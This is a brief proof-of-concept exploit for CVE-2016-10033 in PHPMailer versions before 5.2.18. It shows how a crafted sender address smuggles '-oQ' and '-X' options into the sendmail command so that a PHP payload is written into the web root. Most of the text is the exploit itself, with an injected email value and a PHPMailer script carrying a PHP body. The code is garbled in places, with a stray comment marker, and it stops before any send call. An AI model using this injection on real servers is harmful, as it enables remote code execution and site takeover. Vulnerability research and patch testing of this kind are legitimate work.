漏洞POC：

PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)

A simple PoC (working on Sendmail MTA)

It will inject the following parameters to sendmail command:

Arg no. 0 == [/usr/sbin/sendmail]

Arg no. 1 == [-t]

Arg no. 2 == [-i]

Arg no. 3 == [-fattacker\]

Arg no. 4 == [-oQ/tmp/]

Arg no. 5 == [-X/var/www/cache/phpcode.php]

Arg no. 6 == [some"@email.com]

which will write the transfer log (-X) into /var/www/cache/phpcode.php file.

The resulting file will contain the payload passed in the body of the msg:

<<< --b1_cb4566aa51be9f090d9419163e492306

<<< Content-Type: text/html; charset=us-ascii

*/ // Attacker's input coming from untrusted source such as $_GET , $_POST etc. // For example from a Contact form $email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php some"@email.com';

$msg_body = "<?php phpinfo(); ?>"; // ------------------ // mail() param injection via the vulnerability in PHPMailer require_once('class.phpmailer.php');

$mail = new PHPMailer(); // defaults to using php "mail()" $mail->SetFrom($email_from, 'Client Name');

$address = "customer_feedback@company-X.com";

$mail->AddAddress($address, "Some User");

$mail->Subject = "PHPMailer PoC Exploit CVE-2016-10033";
